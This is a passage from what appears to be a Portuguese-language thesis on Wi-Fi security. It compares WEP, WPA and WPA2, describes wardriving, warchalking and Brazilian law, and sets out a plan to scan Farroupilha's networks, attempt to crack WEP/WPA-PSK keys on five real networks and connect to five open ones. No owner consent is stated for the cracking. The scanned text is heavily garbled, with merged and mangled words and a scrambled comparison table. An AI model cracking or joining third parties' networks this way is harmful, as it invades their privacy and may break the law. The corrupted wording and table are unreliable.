protocolo RSN também utiliza as mensagens EAR®Lpara o gerenciamento de chaves,
que, assim como no WPA, requer a determinagdo @ealmave mestra PMK, baseado nos
processos de autenticacdo EAP ou PSK. O WPA2 deriPdK, usando um processo de
handshake de quatro vias, que € o mesmo do WPA. Visandomimair 0 atraso associado ao
processo deocaming a outro ponto de acesso, o0s dispositivos compatieen WPA2 podem
suportarcache do PMK ou pré-autenticacao.

" Disponivel em http://www.nist.gov.
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O WPA2 é proferido como a solucao definitiva paraeguranca em redeg-fi.
Porém, como é sabido, ndo esté livre de descolibrtasvas vulnerabilidades, o que pode ser
apenas uma questdo de tempo e de dedicacdo dssymudis altamente qualificados.
Detalhes aprofundados acerca deste padrédo naobsé&mados no presente trabalho, sendo

este uma proposta para trabalhos futuros.

2.4 Comparativo

Os protocolos apresentados anteriormente possusantexdsticas particulares que
diferenciam uns dos outros. No decorrer dos tefdoam apresentadas com maior clareza
estas diferencas, bem como suas possiveis inta@esieA Tabela 2.1 apresenta um resumo

das caracteristicas encontradas nos protocolodagkis anteriormente.

Tabela 2.1 - Comparativo entre WEP, WPA e WPA2.

WEP WPA WPAZ2 (802.11i)
Modelos de rede IBBS (Ad-hoc), IBBS (Ad-hoc),
suportados BSS e ESS BSS e ESS BSS e ESS
Algoritmo de RC4 RC4 (suporta AES)  RC4 e AES
criptografia
Tipo de criptografia Simétrica Simétrica Simétrica
Método de TKIP ou AES
Criptografia WEP TKIP CCMP
Em modo PSK: Em modo PSK:
Shared Key chave chave
Autenticacio (mesma chave compartilhada compartilhada
utilizada para Em modo Infra- | Em modo Infra-
criptografia) Estrutura: Estrutura:
802.1x e EAP 802.1x e EAP
CBC-MAC
Integridade dos i i (mesma
dados CRC-32 CRC-32e MiC funcionalidade do
MIC)
CBC-MAC
Integridade do ~ , (mesma
cabecalho Nao aplica MIC funcionalidade do

MIC)
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Distribuicéo de
Chaves

N&o define
(normalmente é d
forma manual)

Em modo PSK:
nao define
(manual)

Em modo PSK:
nao define
(manual)

Em modo Infra-
Estrutura:
dinamicamente
(pelo servidor de

Em modo Infra-
Estrutura:
dinamicamente
(pelo servidor de

D

autenticacao) autenticacao)
Gerenciamento de TKIP TKIP ou RSN
Chaves Né&o aplica (utilizando (utilizando
EAPOLKey) EAPOLKey)
Tamanho das chaves 40 ou 104 bits 128 bits 128 ou 256 bits
IV (Inicialization Substituido por um
Vector) 24 bits 48 bits Packet Number de
48 bits
Processamento Baixo Alto
necessario Baixo (se aplicar AES: | (utilizacdo de co-
alto) processadores)




3 MAPEAMENTO DE PONTOS DE ACESSO WARDRIVING)

O surgimento das redes sem fio foi, sem duvidanaégu marco inicial de uma
revolucdo em termos de comunicacdo entre as pegsmagriou uma extrema facilidade na
conexdo e compartilhamento de dados. E se tra@dmdedesi-fi, essas facilidades podem
até ultrapassar o escopo desejado, enviando dadosuyito mais além do que se necessita. O
funcionamento de uma rede-fi € baseado no espalhamento de espectro de radiéneg,
tendo como ambiente de propagacao o ar, ou segguopamentos enviam sinais de radio
dentro de uma faixa abrangente. Os dados séo titadesspor toda a faixa abrangente, sendo
gue ndo se conhece o ponto fisico real dos equitas)auma vez que este € o fator principal

da mobilidade.

Sendo assim, qualquer dispositivo dentro da faxalttangéncia de uma redefi
recebe os dados trafegados, descartando-os seoréin &€nderecados ao dispositivo em
guestdo. O problema é que muitas vezes essa abcang@émuito maior do que o realmente
necessario, enviando os dados para pontos ondvgiesatacantes possam efetuar a captura
destes. Também se considerando outro cenario, esegpode necessitar ter uma abrangéncia
grande, compreendendo apenas clientes autorizRdosima rede que implementa um nivel
de seguranca adequado isso ndo chega a ser urarpeplvhas deve ter um nivel de atencao
assegurado. J4 em redes que implementam um nigelgdeanca baixo ou, como na maioria
dos casos, ndo possuem qualquer nivel de seguegrggecao, isso € um fator extremamente
critico, uma vez que qualquer dispositivo pode aeectar a rede, capturar dados e utilizar

recursos dessas.

E importante entender que se trata de dois tipiesedites de ameacas a seguranca
em uma redewi-fi. O primeiro € o0 perigo de um intruso conectar-see@e sem O

conhecimento ou permissao do proprietario; o seguhd possibilidade de um atacante
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roubar dados a medida que a rede envia e recefiaas. Cada um representa um diferente
problema em potencial, e exige uma abordagem difengara a prevencao e protecéo. Esta
grande facilidade na captura de sinais de rasieB trouxe consigo um termo muito

conhecido comaVardriving.

“WarDriving € o ato de mover-se ao redor de uma especifiGa érmapear a
populagdo de pontos de acessoeless para um proposito estatistico. Estas
estatisticas sao entdo utilizadas para elevamgaesobre problemas de seguranca
associados a estes tipos de rede (tipicanv@ngess).” [...] “WarDriving ndo utiliza

os recursos de qualquer ponto de acesso ouwiediess descobertas sem prévia
autorizacdo do proprietario.” (HURLE# al, 2004, p.12).

3.1 Caracteristicas

A definicAo aceitavel paravardriving entre as pessoas que atualmente praticam
wardriving ndo € exclusiva daqueles que utilizam essa téooica o auxilio de um
automovel. Wardriving € realizado por qualquer um que se mova ao redorurda
determinada area a procura de dados. Isso ineminbhar, que geralmente é referido como

WarWalking; voar, que geralmente é referido cowivar Flying, e assim por diante.

O termoWardriving foi originado doWarDialing, um termo conhecido em 1983
quando empregado no filnvdargames. Wardialing € a pratica em se utilizar um modem para
discar a numeros de telefones sequenciais, espeftacalizar computadores com modems

ligados a estes numeros.

A concepcgdo em dirigir ao redor de areas espesjfidascobrindo redesi-fi,
provavelmente foi iniciada no dia em que o primgianto de acesso foi “combatido”
(entenda-se por acessado ilegalmente). De qualguea, o wardriving se tornou mais
conhecido quando o processo foi automatizado piar Bipley, um consultor de seguranca
da Califérnia (EUA). Shipley conduziu por dezoiteses uma pesquisa em red@sless na
cidade de Berkeley, e reportou seus resultadooniréncia hacker DefCon, em julho de
2001. Esta pretendia fazer um levantamento dass meidieless encontradas, verificando a
existéncia de algum tipo de protecdo ou nado, e dstray o principio fundamental do
verdadeirowardriver. Em um estudo efetuado recentemente por Card@y)2em alguns
bairros da cidade do Rio de Janeiro, foram detestathis de quatro mil pontos de acesso

fi, dos quais 35% nédo apresentavam protecéao alguma.

A pratica dewardriving esta se tornando cada vez mais conhecida, tah@uka 3

de novembro de 2001 foi criado o Dia Mundial ardriving, comemorado anualmente
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naquela data. Unwardriver se movimenta ao redor de uma area, geralmente rappsar
uma rota de destino fixa, para determinar todopagos de acesseireless nessa area.
Depois de descobrir os pontos de acesswaalriver utiliza softwares para mapear os
resultados de sua varredura. Baseado nestes desjltama analise estatistica é realizada, a
fim de demonstrar os perigos existentes nesse dg@aede ou, por exemplo, oferecer

seguranca aquelas que estdo vulneraveis.

s

A realidade sobrevardriving € simples. Profissionais em seguranca, hobbistas e
outros estdo geralmente interessados em proverrmafdes ao publico sobre
vulnerabilidades de seguranca que estdo preseagesanfiguracdes de seus pontos de
acesso. Porém a realidade vai além desta percdggéarios mal-intencionados interceptam
sinais e varrem pacotes em busca de redes alETéa®s de seguranca e seus apensos, para

um posterior ataque a rede (desde roubo de daélosna simples conexdo com a internet).

Abordando a questdo deftwares, existe uma quantidade consideravebafévares
gue podem ser utilizados para realizar wandriving, cada um com suas particularidades e
funcionalidades especificas. Para que haja um taelsulsatisfatério na utilizacdo do

wardriving, € imprescindivel a utilizacdo de um conjuntsafevares de qualidade.

Para se utilizar das técnicas dardriving ndo sdo necessarios equipamentos
especiais, 0 que facilita ainda mais a praticaalasisidade. Os equipamentos normalmente
utilizados para a pratica éerdriving sdo (HURLEYet al, 2004):

e Um computador méveldptop) ou um dispositivo PDA;

* Uma interface de redewi-fi (0 dispositivo de rede propriamente dito),
preferencialmente com um conector para antenarexter

* Uma antena externa (para obter melhor alcancelglgda do sinal), que pode ser
de dois tipos: Omni-direcional, que obtém sinaisettes em todas as direcdes; e
Direcional, que serve para obter sinais em umg@irespecifica.

* Um dispositivo GPSGlobal System Position), que permita a comunicagdo com o
computador, a fim de tracar as rotas e mapearmepdescobertos;

 Uma fonte de energia externa (por exemplo, um adaptde 12 Volts para

veiculos).

A Figura 3.1 mostra um cenario de equipamentoss,redilizados na pratica de

wardriving.
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Figura 3.1 - Configuracéo tipica pavardriving.
Fonte: HURLEYet al (2004, p.37).

As configuracfes dos equipamentos ndo sao espesifi@bendo awardriver a
escolha do conjunto que Ihe é mais funcional. Eomamte lembrar que a qualidade dos
equipamentos envolvidos afeta diretamente o reBulti® uma varredura em busca de redes
wi-fi. Com relacdo as antenas utilizadas, estas podesuipms mais diversos formatos e
possuem caracteristicas particulares, influenciatidiamente na qualidade do sinal obtido
(como também o cabo utilizado para a ligacéo catispositivo de rede). Antenas dos mais
variados formatos e tamanhos estdo disponiveisrcaimente, mas o que chama atencao é
a grande utilizacdo de antenas caseiras no prockssardriving. E possivel encontrar
facilmente tutoriais na internet que ensinam coareif uma antena, de diferentes formatos e
tamanhos. Como exemplo, pode-se citar a criacaomdeantena com base no tubo de batata
frita da marca Pringles. A Figura 3.2 mostra untaraacriada a partir deste tubo.

Figura 3.2 - Antena caseira.
Fonte: HURLEYet al (2004, p.58).
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A criacdo de mapas identificando os pontos de aadsscobertos pode ser realizada
com o auxilio de um dispositivo GPS, o qual se atoaucom determinadosoftwares,
trocando assim as informacgfes pertinentes ao mameamAo se movimentarem durante a
varredura, tais equipamentos coletam certo numermfdrmacdes sobre as redes encontradas
juntamente com a posi¢cdo geografica do equipamemtaleslocamento (ou até mesmo a
posicdo aproximada dos pontos de acesso encontr&oposse dessas informacgdes, torna-
se possivel extrair, com certo nivel de detalhametados tais como densidade de pontos de
acesso numa determinada regido, grau de comparélita de canais, nivel de seguranca
adotado, entre outros. Essas informacdes, mesmmcpm@pletas e imprecisas, permitem aos
pesquisadores avaliarem problemas de alocagéo mEscam topologias de rede mais

proximas do real, estudar a viabilidade do uscedeswi-fi em aplicacdes veiculares, etc.

Nos ultimos anos, diversas iniciativas surgiram ganses desenvolvidos com o
intuito de mapear as redesfi existentes, permitindo estudar e entender o coperito de
uso da tecnologia por parte dos usuarios finaigrsestes administradores de redes ou
usuarios domeésticos). Esses mapeamentos sao aloang@acas a contribuicdo de milhares
de voluntarios em todo o mundo, que realizam edgiente owardriving e reportam o0s
resultados aos grupos. Tem-se como exemplo desspssgo WiGLE (que ja possui um
cadastro com mais de onze milhdes de pontos de@cesWiFiMaps e o WiFindet’, que
disponibilizam os dados reportados pelos particggrpermitindo efetuar buscas e visualizar
mapas do mundo inteiro. Mas uma iniciativa em dapethama a atencdo, a FEN
Conforme a propria descricdo no site, a FON é unmaucidade de pessoas interessadas em
transformar as redesi-fi universais (e livres), onde cada membro compartilim pouco da
sua conexao com a comunidade e possui acess@tisrpontos de acesso da comunidade ao

redor do mundo.

3.2Warchalking

Surgido em 2002, o term@archalking remete ao ato de fazer marcas de giz em
paredes ou calcadas a fim de identificar a presengdisponibilidade de redesi-fi,

informando também as configuracdes. Foi inspiraa@natica surgida na Grande Depressao

8 Disponivel em http://wigle.net.

° Disponivel em http://www.wifimaps.com.
1% bisponivel em http://wifinder.com.

! Disponivel em http://www.fon.com.
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Norte-americana, quando andarilhos desempregadokdcidos comohbbos') criaram uma
linguagem de marcas de giz ou carvao em cercgsdza e paredes, indicando assim uns aos
outros o que esperar de determinados lugares, ocasastituicdes onde poderiam conseguir
alimentos e abrigo temporario. As marcas usualmimigs em giz em calcadas indicam a
posicdo de redes sem fio, facilitando a localizapaoa uso de conexdes alheias pelos

simpatizantes da idéia. A simbologia utilizada pedochalking € demonstrada na Figura 3.3.

let's warchalk..!
KEY SYMBOL

OPEN
NODE

bandwidth

CLOSED ssid

NODE <::::>

access

ssid contact

bandwidth

blackbeltjones.com/warchalking

Figura 3.3 - Simbologia utilizada ™varchalking.
Fonte: http://www.warchalking.org.

O primeiro simbolo denota uma rede aberta, sengqgeelprotecao, identificando o
SSID da rede na parte superior e a velocidade ria pderior. O segundo simbolo mostra
uma rede fechada, divulgando também o SSID em ada puperior. J& o ultimo simbolo
demonstra a existéncia de uma rede protegida petogolo WEP, informando o SSID e a

velocidade da rede. Na Figura 3.4, tem-se um exedgdsas marcacoes.



70

Figura 3.4 - Identificacdo de rede aberta.
Fonte: http://www.wired.com.

3.3 Implicacdes legais

De acordo com o FBI, nao ¢é ilegal efetuar varreslera busca de pontos de acesso,
mas se ocorrer roubo de servico, ataques de nedacservico ou roubo de dados, estes sim
violam as leis federais (HURLE®# al, 2004).

Os principais argumentos dasrdrivers para a defesa de sua legalidade é a garantia
de liberdade de utilizacdo de ondas de radio nectspdefinido no padrawi-fi. Desde que
nao causem dano, a&rdrivers e warchalkers acreditam estar atuando dentro da legalidade e
moralidade. Segundo Peixoto (2003), trés pontosirefiortantes para o enquadramento do
assunto no Brasil: rastreamento, indicacao e atifiv de redes pertencentes a terceiros.

O ato de rastrear redes-fi com a utilizacdo de equipamentosofiwares capazes de
detectar estas (e suas configuracfes) ndo € tichm ¢esivo em si (CORREA, 2007). O
wardriving é amplamente utilizado por especialistas em sagarae redes para teste e
verificagédo de vulnerabilidades (o que denota olargte o principal objetivo deste trabalho).

Indicar a presenca de redeg@reless com vulnerabilidades pode ou nao se
caracterizar ilicito, dependendo do grau e inteng€ao casos de configuracdo danosa em
decorréncia de invasdo de redes de comunicacaopoataalor da brecha pode ser

caracterizado como co-autor do delito.

A utilizac&o indevida de recursos de comunicac@eias, sem prévia autorizacao,

configura ilicito penal no Brasil. A lei prevé oc&sso indevido”, ou seja, uma consequéncia
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de préticas devardriving e warchalking, com a efetivacdo da acdo de invadir uma vaefg,
prevendo detencao (de trés meses a um ano) e aoult@asor da rede.



4 EXECUCAO DO WARDRIVING

Nos capitulos anteriores foram abordadas as quetddricas sobre as redeisfi,
apresentando 0s principais componentes destassecaracteristicas. Abordou-se também a
questado da seguranca das redes, apresentanddajm® de seguranca e criptografia WEP,
WPA e WPA2, analisando suas estruturas, caradtedst funcionamento e as
vulnerabilidades conhecidas até o momento. Sendonaglescreveu-se @ardriving,
demonstrando suas caracteristicas, seus propés#ioas origens, ressaltando a questao legal

e ética desta pratica.

A maior duvida sobre o uso de redes sem fio resfaieso fator seguranca. Com um
transmissor irradiando os dados transmitidos asralee rede em todas as dire¢cdes, como
impedir que possiveis atacantes possam obter acassubar dados da rede? Um ponto de
acesso instalado préximo a janela da sala provargémpermitira que um vizinho a dois
quarteirdes consiga captar o sinal da rede, un@ppacao agravada pela popularidade que

as redes sem fio vém ganhando.

Sendo assim, neste capitulo, realiza-se efetivamewardriving, a fim de efetuar
um mapeamento de pontos de acesso e demonstnan@pgis vulnerabilidades inerentes as

redeswi-fi.

O wardriving pode ser considerado um conjunto de métodos qukaana busca por
redeswi-fi e efetua a captura e andlise de informacdes. BEsSeslos podem ser entendidos
como equipamentos necessarios, conjuntossafisvares, técnicas e, principalmente, o
conhecimento necessario acerca das tecnologiadvatag no processo. Entende-se por
vulnerabilidade as falhas ou falta de segurancajdais possiveis atacantes possam se valer
para invadir, subtrair, acessar ilegalmente, adulteu destruir informacdes confidenciais,
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além de poder comprometer e inutilizar o sistenti@rémdo as configuracdes do ponto de

acesso, por exemplo).

4.1 Metodologia

Para que a realizacao dardriving seja efetuada da maneira mais eficaz possivel, é
necesséaria a definicdo de uma metodologia a seridsegvisando definir e alcancar os
objetivos propostos. Desta forma, o objetivo destecucdo dowardriving é realizar
efetivamente avardriving, efetuando uma varredura em busca de reidds(BSS, ESS ou
Ad-Hoc), gerando assim um mapeamento das redesiteadas (e suas caracteristicas) e,
posteriormente, efetuar a tentativa de quebra dowgolos WEP e WPA (os principais
mecanismos de seguranca e criptografia em reddy, a fim de ratificar as principais

vulnerabilidades apresentadas nos capitulos argsrio

Visando atingir os objetivos propostos, a execuda@aowardriving seguira as
seguintes etapas:

1. Definicdo e descricdo das vulnerabilidades a seexmloradas: através de
revisdes bibliograficas e, acordando com os olgstipropostos no presente
trabalho, definir e descrever as vulnerabilidades dedeswi-fi que serao
exploradas durante o processondedriving;

2. Definicdo e descricdo das ferramentas rdedware necessarias: através de
revisdes bibliograficas, acordando com as ferraaseiwke software que serao
utilizadas, definir e descrever bardware a ser utilizado no processo de

wardriving;

3. Definigéo e descrigdo das ferramentasafvare necessarias: através de revisdes
bibliograficas, acordando com os objetivos propasidefinir e descrever as

ferramentas dsoftware a serem utilizadas no processondedriving;

4. Descricdo do ambiente (local): descrever o ambiarser realizado o processo de

wardriving;

5. Descricao do processo dardriving: descrever o processo de varredura em busca

de redesvi-fi;

6. Obtencdo e organizacdo dos resultados: depois efeiadb o wardriving
(varredura), organizar e analisar os resultadagadgt
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7. Mapeamento de pontos de acesso: utilizando odadsslobtidos no processo de
wardriving, gerar mapas graficos identificando as redes dramtas;

8. Analisar e definir ataque as redes: apds orgafizaps resultados obtidos no
processo de varredura, analisar e definir as rgdesserdao alvo no processo de

tentativa de quebra de protocolo de criptografia;

9. Apresentar resultados finais: apés a realizacdoracesso de tentativa de quebra
de protocolo de criptografia, apresentar os redodta realizar uma avaliacado de

todo o processo.

4.1.1 Vulnerabilidades exploradas

As redes sem fio sdo, sem duvida, um grande avamgermos de comunicagdes de
dispositivos, incidindo diretamente no modo em @sepessoas permanecem conectadas
qguando distantes de sua base habitual. A facilidaaenobilidade propiciadas pelas redes
fi demonstram o quéo promissor é o futuro destaglosadotadas para as mais diversas
aplicacdes, sejam domésticas ou empresariais. torctamioso, em se tratado de redes sem
fio, € que ao mesmo tempo em que essas tecnoli@gasnenos limitacdes geograficas, os
riscos associados possuem muito mais aspectossfisitvolvidos que outras tecnologias e,
da mesma forma que estas ampliam as fronteirasd#q a area a ser agora vigiada aumenta

na mesma proporgao (RUFINO, 2005).

Como demonstrado nos capitulos anteriores, h4 uwaralg preocupacdo em torno
da seguranca desse tipo de rede. As redds apresentam diversas vulnerabilidades que
devem ser conhecidas, estudadas e tratadas, @& fiiiméhuir os impactos causados por essas.
O objetivo desta execucdo dardriving ndo é abordar todas as vulnerabilidades conhecidas
mas sim demonstrar as principais vulnerabilidadesentes as redes-fi, que serdo descritas

a sequir.

Entende-se por vulnerabilidade as falhas ou fataedjuranca das quais as regies
fi estdo suscetiveis. Se a seguranca fisica é unrtanp® componente de risco quando se
trata de redes cabeadas, em rediefi esse aspecto é ainda mais relevante, visto que a
abrangéncia “fisica” aumenta substancialmente, qibmleer analisada em termos de dezenas
ou centenas de metros ao redor do ponto de ac&sesie modo, entende-se como
vulnerabilidade uma rede que possa ser identificadgeada e, se ndo apresentar qualquer
seguranca, ser invadida por um possivel atacaateloSassim, nesta execugaondodriving,
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se realizara uma varredura em busca de netdéisna cidade de Farroupilha - RS, efetuando
um mapeamento das redes encontradas (bem comeaaateristicas), a fim de analisar e
verificar, por exemplo, a utilizacdo de seguranas iedes, os canais utilizados e os padrdes
encontrados, organizando os resultados para ptoposstatisticos. Os resultados podem
prover uma valiosa fonte de informacgdes sobre segar uma vez que ao efetwardriving

em uma determinada &rea, gerando mapas e andisgsteeas da postura de seguranca
adotada pelas redes-fi daquela regido, pode-se determinar quais sdo ssopajue 0S

residentes ou empresas devem tomar para seguaassedes (HURLE al, 2004).

Para resolver (ou reduzir) os problemas de segayamgios eficazes de autenticacao
e criptografia da transmissédo de dados séao utdeadls redesvi-fi oferecem possibilidades
de cifracdo de dados (criptografia) e, aléem digstam da autenticacdo dos dispositivos e

usuarios da rede, bem como pretendem garantiegridade dos dados trafegados.

Porém, diversas vulnerabilidades foram encontradasorno do desenho do WEP.
As mesmas foram divulgadas em relatérios publicpdogientistas académicos e renomados
profissionais da area. Estes relatérios questioaagficiéncia do WEP em proteger dados.
Segundo Rufino (2005) e Earle (2006), existem @mlls técnicos e administrativos em
relacdo ao protocolo WEP, principalmente pelo féoutilizar uma chave Unica e estatica,
compartilhada por todos os participantes da reste. também ocorre quando utilizado o
padrdo WPA-PSK, uma vez que é utilizada uma chessggmente compartilhada.

Desta forma, entende-se como vulnerabilidade ailplidade de quebra dos
protocolos WEP e WPA-PSK, uma vez que, quando aotdi® podem ser utilizadas para
obter acesso a rede ou descriptografar as mensggensafegam pelo ar. Esta quebra, por
sua vez, é entendida como a descoberta da chdizaddi no processo de autenticacdo e
criptografia pelos protocolos em questdo. Sendamasapos realizada a varredura e o
mapeamento das redesfi no processo deardriving, sera realizada a tentativa de quebra
dos protocolos encontrados (sejam eles WEP ou WH-PPara isso, sera realizada uma
andlise das redes encontradas e definida uma @gestrde 5 (cinco) redes com seguranca,
que se tornardo as redes-alvo. Deste modo, utizérramentas dbardware e software,
sera efetuada a tentativa de quebra dos protocdpsrtando os resultados e analises,
verificando, assim, a deficiéncia (ou ndo) dos quolos em manter seguras as chaves
utilizadas.
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A seguranca das redesg-fi € elaborada desde a sua concepcdo e, desde esse
momento, tem evoluido rapidamente. Porém, a despkit oS equipamentos possuirem
diversos mecanismos de seguranca, eles ndo vémgpas razdes, como incompatibilidade
com equipamentos de outros fornecedores ou faddidie instalacdo) habilitados de fabrica.
Tal fato faz com que administradores e/ou usuat@saésticos com pouca experiéncia em
redes sem fio coloquem os equipamentos em funciennsem qualquer mudanga (ou com
mudancas minimas, suficientes para que o ambiantéohe). Deste modo, podem se tornar
alvos faceis de ataques, considerando assim urdegreato de seguranca as configuracdes de
fabrica. Apés realizada a varredura e o0 mapeamestd, definida uma amostragem de 5
(cinco) redes sem seguranca, a fim de efetuar wntativa de conexdao. Ou seja, nha
amostragem definida, sera realizada uma tentagveodexdo com a rede, a fim de verificar
se 0 ponto de acesso configurara um IP valido mipet 0 acesso a rede (verificando um
possivel acesso a internet), demonstrando assipegos que este tipo de configuracédo
padrao oferece as redesfi. Os resultados serdo reportados ao final dossteste

Vale ressaltar que em nenhum momento sera utilizemtursos das redes
encontradas, uma vez quavardriving, em sua concepcdo, nao apoia a utilizacao des@ur

sem autorizagao prévia, o que pode configuratalipenal no Brasil.

4.1.2 Ferramentas dénardware

Héa aspectos a serem considerados ao se promoviseat& um ambiente de redes
wi-fi. Dentre estes, deve-se cogitar quais equipamenfegramentas serdo Uteis para cada
caso, de acordo com o0s objetivos pretendidos. Nelzekes ou foco de investigacdo
certamente serdo diferentes em ambientes distis®isdo desejavel um planejamento
antecipado dos equipamentos e programas que rdalrsenencaixam em cada objetivo
(RUFINO, 2005). O conhecimento das caracteristieasferramentas dwrdware e software
disponiveis se faz necessario dentro deste ambitta vez que a qualidade de tais

ferramentas influencia diretamente no resultadprdoesso devardriving.

E fundamental, por exemplo, decidir qual equipamésar para uma varredura ou
levantamento de sinal de uma area extensa. Poesai® de seguranca publica, ndo €
indicado caminhar com uhaptop ou um PDA em funcionamento e visivel, portantoedhar

opcéao pode ser realizar esse percurso de carréentina mesma atencéo devida.
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Segundo Hurleyt al (2004), para se utilizar das técnicasva®driving ndo sao
necessarios equipamentos especiais, 0 que faitittR mais a pratica dessa atividade. Desta
forma, visando a obtencdo de resultados satisbast@m relacdo aos objetivos propostos,

define-se os equipamentostadedware que serdo utilizados no processoaedriving:
» 1 Computador moveldptop);
* 1 Fonte de energia externa para veiculos;
» 1 Interface de redwi-fi com conector para antena externa;
» 1 CaboPigtail;
» 1 Antena externdagi;
» 1 Dispositivo GPS.

Todo o equipamento foi testado previamente, visaatiiogir a compatibilidade
desejada com as ferramentas stfware e 0s objetivos propostos. As configuracdes e
caracteristicas das ferramentashdedware que serdo utilizadas no processow@edriving

sdo descritas no item 4.2.

4.1.3 Ferramentas desoftware

Grande parte do mapeamento, captura de pacotegj@eata redes sem fio podem
ser realizados com ferramentas conhecidas em patesmdas, porém esses mesmos dados
podem ser obtidos mais facilmente com ferramergpsatalizadas. Outras informacdes mais
detalhadas, como qualidade do sinal e demais esistatas exclusivas de redesfi, sé
podem, obviamente, serem colhidas com ferramesfaec#icas (RUFINO, 2005).

A qualidade dossoftwares envolvidos e o conhecimento acerca destes sao
fundamentais para o sucesso de wardriving. Diversas ferramentas deftware estao
disponiveis atualmente para a utilizacdo em reelesf®, criando dessa maneira centenas de
possibilidades de configuragbes que podem seraddéis paravardriving (HURLEY et al,
2004). Muitas das ferramentas utilizadas pardrivers sdo as mesmas ferramentas que
podem ser usadas por um atacante para obter ad@sswtorizado as redes. Lembrando que
este ndo é o objetivo deardriving, uma metodologia ética se faz presente na reatizac

deste.



78

Outro ponto importante é o fato de que, diferentégmelas ferramentas de redes
cabeadas, o comportamento das ferramentas de sededio depende de equipamentos
especificos e/ou modelos de placas de rede, oundgadrao especifico, por exemplo.
Algumas ferramentas chegam ao extremo de seremsaxa@$ de um determinado modelo de
placa. Felizmente, as ferramentas mais recentés sshdo desenvolvidas de forma a possuir

uma alta compatibilidade tanto com padrdes quanroabipsets diferentes.

As ferramentas deoftware que serdo utilizadas nesta execucaowaodriving
dividem-se em dois pontos distintos. Em um primeiamento, serdo utilizadas ferramentas
para efetuar a varredura em busca de redes vdéniificando suas caracteristicas), seguido
de ferramentas para efetuar o mapeamento daserdestradas. Em um segundo momento,

serdo utilizadas ferramentas para efetuar a teatdé quebra dos protocolos de criptografia.

Em relacdo a varredura que sera realizada, cabeuatm distincdo dos modos
possiveis. Para identificar uma redefi, existem duas técnicas de sondagem (RUFINO,
2005):

* Sondagem ativa: a sondagem ativa € realizadaqgftwvares que envianframes
de requisicdo em todos os canais. Os pontos demcesfigurados de maneira a
responder a este tipo de requisi¢céo (realizéndadcast do SSID) envianframes
de reposta sinalizando sua existéncia (incluindo,gxemplo, o SSID da rede,

canal utilizado e a presenca de criptografia);

« Sondagem passiva: a sondagem passiva, também maiper monitoramento
por radio freqiéncia (RFMON), contrariamente a @mtendo inserdrames na
rede. Como citado no item 1.5.2, mesmo quando umvopte acesso nédo realiza
broadcast do SSID, este atravessa a rede em claro guandoaéfe uma
associacdo de um cliente (érames de probe _request e probe _response). Desta
forma, € realizada uma escuta no canal especifieafim de identificaframes de

associacao que revelam o SSID da rede

E possivel realizar apenas uma forma de sondageonadte vez, obviamente por
possuirem padrdes distintos de identificacdo. Adagem passiva € utilizada muito
especificamente, pois seus resultados dependerssdeiacdes dos clientes da rede, o que

pode ndo ocorrer com muita freqiéncia. Um exempgosaftware que utiliza sondagem
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passiva é o Kism& uma ferramenta amplamente utilizada em platafdrimax. Utilizando
sondagem ativa, por sua vez, pode-se obter reesltadtisfatérios, uma vez que a
identificacdo € realizada ativamente. Como o olpatiesta execucéo aeardriving € realizar
uma varredura em busca de rededi, utilizar-se-4 a sondagem ativa, a fim de obteragor

namero possivel de redes.

Apds extensa pesquisa e testes realizados consaévéerramentas, considerando
suas compatibilidades com lardware a ser utilizado e de acordo com o0s objetivos
propostos, define-se as ferramentassdiéware que serdo utilizadas nesta execucédo do

wardriving:

» Varredura e Mapeamento (plataforma Windows)
* NetStumbler (http://www.netstumbler.com)
» Wifi Hopper (http://wifihopper.com)
» Google Maps (http://maps.google.com.br)
* KSNGEM (http://www.rjpi.com/knsgem.htm)

» Tentativa de quebra de protocolo de criptografiat§iorma Linux)
» Aircrack-ng Suite (http://www.aircrack-ng.org)

A execucdo devardriving utilizara sistemas operacionais de diferentesfdanas -
Windows e Linux - visando criar uma configuracabusta paravardriving e demonstrar a
possibilidade de utilizacdo de ambas plataformas pnocesso dewardriving. As

caracteristicas das ferramentasafevare que serdo utilizadas sao descritas no item 4.3.

4.1.4 Ambiente (local)

7

Para que possa haver uma interpretacdo mais prassaesultados, é importante
conhecer o ambiente onde sera efetuadwaodriving, demonstrando alguns dados e

caracteristicas pertinentes.

A presente execucdo deardriving sera realizada no municipio de Farroupilha,
localizado no interior do estado do Rio Grande dbh & 110 Km da capital Porto Alegre. A

area territorial do municipio € de 359,30 Kmz?, algendo uma éarea urbana de 10,64 Kmz2.

12 Disponivel em http://www.kismetwireless.net.
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Possui um numero estimado de 60.000 habitanteslosgoe, aproximadamente, 75%
concentram-se na zona urbana (FARROUPILHA, 2007).

As principais atividades econd6micas do municipi@: séhalhas e confeccdes,
coureiro-calcadista, moveis, estofados e metalukgmifica-se também um grande namero
de empresas no ramo de servicos e comeércio em egundo dados de dezembro de 2006,
0 municipio de Farroupilha apresenta um PIB (pr@duaterno bruto)per capita de R$
18.557,00, um indice superior ao indice brasilajt® é de R$ 10.520,00 (FARROUPILHA,
2007) (SEPLAG, 2007), demonstrando assim uma el@vagbstancial no poder aquisitivo

dos habitantes.

A Figura 4.1 mostra a area urbana do municipio ateokipilha, obtida através do

software Google Earth

“Google

Imagel Digl ‘
51°20/42.065 0 elev m Eluxo |11 Altitude do/ponto de visdo  5.92 km

Figura 4.1 — Municipio de Farroupilha.
Fonte: Google Earth.

13 Disponivel em http://earth.google.com.
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4.1.5 Descrigao do processo

Como abordado anteriormente, o processowvdedriving sera realizado em dois
momentos distintos. Sendo assim, apresenta-secagdesdo processo que sera utilizado em

cada um destes.

“Uma das primeiras agbes realizadas pelos atacafitedfazer um
mapeamento do ambiente. Esse procedimento possibiiter o0 maior nimero de
informacBes sobre determinada rede, permitindo exsth detalhes que lhe
permitam lancar ataques de forma mais precisa e o@mnos riscos de ser
identificado. O sucesso de tal acdo depende dd déveprotecdo configurado na
rede-alvo.” (RUFINO, 2005, p.50).

Primeiramente, sera realizada a varredura e o magrga na zona urbana da cidade
de Farroupilha, trafegando pelas principais ruasenidas (em todos os bairros), mantendo
uma meédia de velocidade de 30 Km/h e utilizandéesmmentas déardware e software
definidas. A varredura e 0 mapeamento ocorreraararperiodo de 15 (quinze) dias, sendo 8
(oito) dias no periodo da noite e 7 (sete) diaperiodo da tarde, em horarios diversificados.
Havera uma intercalacdo de periodos e horarioandes obter o maior numero possivel de
redeswi-fi operantes, sejam estas em casas, escritoriodastiias. O tempo da varredura

diaria sera de aproximadamente 1 (uma) hora.

ApoOs realizar a varredura e 0 mapeamento das ré@es,como a geracdo dos
mapas/graficos, serdo analisados os resultaddields as cinco redes que serdo os alvos de
tentativa de quebra de protocolo de criptogratsm ltomo seréo definidas as cinco redes que
